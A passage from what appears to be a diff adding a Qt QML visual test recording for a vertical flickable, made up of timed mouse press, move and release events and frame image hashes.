+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2176
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 125
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2192
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2208
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2224
+ hash: "5f6ed58401fddd692503810f22b23e93"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 103; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2240
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2256
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2272
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2288
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2304
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2320
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2336
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2352
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2368
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2384
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2400
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2416
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2432
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2448
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2464
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2480
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2496
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2512
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2528
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 90; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2592
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2640
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2672
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 192
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 219
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 235
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "defd2e26ba579dffd2273bcc86c54a94"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 111; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2736
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2752
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2768
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2784
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2800
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2816
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2832
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2848
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2864
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2880
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2896
+ image: "flickable-vertical.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2928
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2944
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2960
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2976
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 2992
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3008
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3024
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3040
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3056
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3072
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3088
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3104
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3120
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3136
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 43; y: 269
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3168
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3184
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3200
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3216
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 43; y: 269
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3232
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3248
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3264
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3280
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3296
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3312
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3328
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3344
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3360
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3376
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3392
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3408
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3424
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3440
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3456
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3472
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 75; y: 279
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3504
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3520
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3536
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 75; y: 279
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3552
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3568
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3584
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3600
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3616
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3632
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3648
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3664
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3680
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3696
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3712
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3728
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Frame {
+ msec: 3744
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 116; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 198
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 195
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3792
+ hash: "8caa38000edef97a8276022b5da19ecc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "abda2edf3c9f1aa28f41bf28083d081f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 123
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "1a0305de0a8156f3f059d74891b71846"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3840
+ hash: "04c2fbbb1df6ca9d03c105fcfa5c0770"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3856
+ image: "flickable-vertical.4.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: -6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: -27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3872
+ hash: "4ebb31f7945bb5542f9e5146888b1065"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 140; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3888
+ hash: "2a731429c6d5c4ee1f1fa8f3ca07f0c2"
+ }
+ Frame {
+ msec: 3904
+ hash: "b8a8c4db8325b3e0292e6473084347d9"
+ }
+ Frame {
+ msec: 3920
+ hash: "fae53bd8bc9d05f343968c7006723207"
+ }
+ Frame {
+ msec: 3936
+ hash: "fe2fc28a79609af32ea1043f3c988b08"
+ }
+ Frame {
+ msec: 3952
+ hash: "18f77a48b14347b2ab41eb39c9de3be4"
+ }
+ Frame {
+ msec: 3968
+ hash: "93e83c35d34715ee703a0d79d51bc145"
+ }
+ Frame {
+ msec: 3984
+ hash: "4ae9d80d6079b92be66fcc099209d779"
+ }
+ Frame {
+ msec: 4000
+ hash: "bd8c0a924552cb4dfc5ddc1451931b01"
+ }
+ Frame {
+ msec: 4016
+ hash: "6a1874cdac6f754b36f022c583834d32"
+ }
+ Frame {
+ msec: 4032
+ hash: "f3064485083025aba09224faafcede14"
+ }
+ Frame {
+ msec: 4048
+ hash: "8e82568ac62969dfedbf1c2082101661"
+ }
+ Frame {
+ msec: 4064
+ hash: "4e447efea0dd139787c7aa9018327206"
+ }
+ Frame {
+ msec: 4080
+ hash: "ed23778ce6843053cd4af6df7262bdd0"
+ }
+ Frame {
+ msec: 4096
+ hash: "fe1118cc51b4cd25d775b5d1c1d66540"
+ }
+ Frame {
+ msec: 4112
+ hash: "02a59ccc15df26abe5612f13ce926286"
+ }
+ Frame {
+ msec: 4128
+ hash: "71c43a208e3dfbce6cb461f8ff0d2f17"
+ }
+ Frame {
+ msec: 4144
+ hash: "404b8155f17dff084c2da1407d6915a9"
+ }
+ Frame {
+ msec: 4160
+ hash: "ab0dba54c469dea461cd1619161edd82"
+ }
+ Frame {
+ msec: 4176
+ hash: "e6f158712a7afe1844acc1a1cd9385ec"
+ }
+ Frame {
+ msec: 4192
+ hash: "b9d8fcc3d68ebc6d4d4f60e4652befe3"
+ }
+ Frame {
+ msec: 4208
+ hash: "9005a49b3ac2ef2344d78ef68595ea26"
+ }
+ Frame {
+ msec: 4224
+ hash: "aad3dd90f766320ad68b62b97559ec02"
+ }
+ Frame {
+ msec: 4240
+ hash: "a39008d78d188e8bd3571f80f679a915"
+ }
+ Frame {
+ msec: 4256
+ hash: "cedc580acc63d6a069442bb83f17b6f8"
+ }
+ Frame {
+ msec: 4272
+ hash: "f63f5d20e3b5a4b6247339d0ec518449"
+ }
+ Frame {
+ msec: 4288
+ hash: "f63f5d20e3b5a4b6247339d0ec518449"
+ }
+ Frame {
+ msec: 4304
+ hash: "cedc580acc63d6a069442bb83f17b6f8"
+ }
+ Frame {
+ msec: 4320
+ hash: "bccf94c11e92af36f418dbee1b797a86"
+ }
+ Frame {
+ msec: 4336
+ hash: "a39008d78d188e8bd3571f80f679a915"
+ }
+ Frame {
+ msec: 4352
+ hash: "02d38396737a262fa983511a40514b38"
+ }
+ Frame {
+ msec: 4368
+ hash: "9005a49b3ac2ef2344d78ef68595ea26"
+ }
+ Frame {
+ msec: 4384
+ hash: "c05dad606a9b5b501a201bfead974f03"
+ }
+ Frame {
+ msec: 4400
+ hash: "27846f086c13e1b06e89a8a395802678"
+ }
+ Frame {
+ msec: 4416
+ hash: "f919b09b6f7f4f09b5d9b123b686a442"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 136; y: 176
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4432
+ hash: "f919b09b6f7f4f09b5d9b123b686a442"
+ }
+ Frame {
+ msec: 4448
+ hash: "f919b09b6f7f4f09b5d9b123b686a442"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 175
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4464
+ hash: "f919b09b6f7f4f09b5d9b123b686a442"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 173
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4480
+ hash: "ab0dba54c469dea461cd1619161edd82"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "aad3dd90f766320ad68b62b97559ec02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4512
+ hash: "09e110197afc9350dbbaf3e19e24dbe8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "c50fa7aa75b947d065109c97a0db4c02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "e701f8ef23f576f10c286191ea4caaf1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 118; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "c24daebe9c5ba9bd46ef674c49edd160"
+ }
+ Frame {
+ msec: 4576
+ hash: "fc762235395c772666d2529a5e9bff98"
+ }
+ Frame {
+ msec: 4592
+ hash: "7f4f4420fde62e6126f0c3bf604425dc"
+ }
+ Frame {
+ msec: 4608
+ hash: "0e9978b0f60cba7bf599571b97f2f751"
+ }
+ Frame {
+ msec: 4624
+ hash: "ff19d1b0a0d7d0cc5dd8919606c17fc8"
+ }
+ Frame {
+ msec: 4640
+ hash: "7c61e0a6c354b4f30db6c861b9250be2"
+ }
+ Frame {
+ msec: 4656
+ hash: "bd1196ce51f5abd53f6052f17d926a81"
+ }
+ Frame {
+ msec: 4672
+ hash: "ab2b1c33a5f60690fe2724a0ddd3bb67"
+ }
+ Frame {
+ msec: 4688
+ hash: "0a0709d2649d649ab52eaddbe60c1dc9"
+ }
+ Frame {
+ msec: 4704
+ hash: "ef3b3099811cc2e26d823d94c5b66f1d"
+ }
+ Frame {
+ msec: 4720
+ hash: "522683305b2706b6e22d0e1770f285d6"
+ }
+ Frame {
+ msec: 4736
+ hash: "c08d933b3dbda5fc476ed673cd7a2e4a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 111; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "c08d933b3dbda5fc476ed673cd7a2e4a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "ab0dba54c469dea461cd1619161edd82"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4784
+ hash: "d23653a4e1651babdbb3561fb7029df2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4800
+ hash: "702d94cbca1ba235a5a2cc30c552d8b7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4816
+ image: "flickable-vertical.5.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4832
+ hash: "f53134176897d55299ab723ab20ba3fc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4848
+ hash: "84146c913b41215c4bab1f36471f2b7b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 129; y: 243
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4864
+ hash: "2a731429c6d5c4ee1f1fa8f3ca07f0c2"
+ }
+ Frame {
+ msec: 4880
+ hash: "a1e960ffef391daecb52d31698c7b06c"
+ }
+ Frame {
+ msec: 4896
+ hash: "adca54c132f170c517f1ef17c45006c8"
+ }
+ Frame {
+ msec: 4912
+ hash: "4ebb31f7945bb5542f9e5146888b1065"
+ }
+ Frame {
+ msec: 4928
+ hash: "c43ebd04137e379216c94b4c57cab3d9"
+ }
+ Frame {
+ msec: 4944
+ hash: "c0218c548f5e3eb74ef33cb2921dbc96"
+ }
+ Frame {
+ msec: 4960
+ hash: "e6a15947574c7ac8e5a2454a5f8b043d"
+ }
+ Frame {
+ msec: 4976
+ hash: "ec9aca63b61a8c3beb4ad476d4e38568"
+ }
+ Frame {
+ msec: 4992
+ hash: "28f0447e8107d7fac9ec29b83808d2cb"
+ }
+ Frame {
+ msec: 5008
+ hash: "74e28cddf8dd7bd7593c7185e09ea752"
+ }
+ Frame {
+ msec: 5024
+ hash: "23b447e486a6354354505171cf3c45ec"
+ }
+ Frame {
+ msec: 5040
+ hash: "3e3948addc7236ff8638863786dfe045"
+ }
+ Frame {
+ msec: 5056
+ hash: "49885ec2f3242fc3ba9c9b808b3bb491"
+ }
+ Frame {
+ msec: 5072
+ hash: "0c12fc65a0298af1a1ec3bccfcdb20ab"
+ }
+ Frame {
+ msec: 5088
+ hash: "49c71089343b963fd8b3587eb1d5d457"
+ }
+ Frame {
+ msec: 5104
+ hash: "f083682e9bce74022baeafcb26870adb"
+ }
+ Frame {
+ msec: 5120
+ hash: "5bd49eab3fd8b246659b51d4602ea391"
+ }
+ Frame {
+ msec: 5136
+ hash: "3170c18b8dd74429b0f366ec07f4870b"
+ }
+ Frame {
+ msec: 5152
+ hash: "d82de8b7c5a144b20085f447cf041350"
+ }
+ Frame {
+ msec: 5168
+ hash: "60e520c52c5b87c686294a23d96dbd11"
+ }
+ Frame {
+ msec: 5184
+ hash: "bb5b6cb5862e28a7f309ef5c7cf2b5dd"
+ }
+ Frame {
+ msec: 5200
+ hash: "b9e255376ad0b74b2c9be6e694f84d90"
+ }
+ Frame {
+ msec: 5216
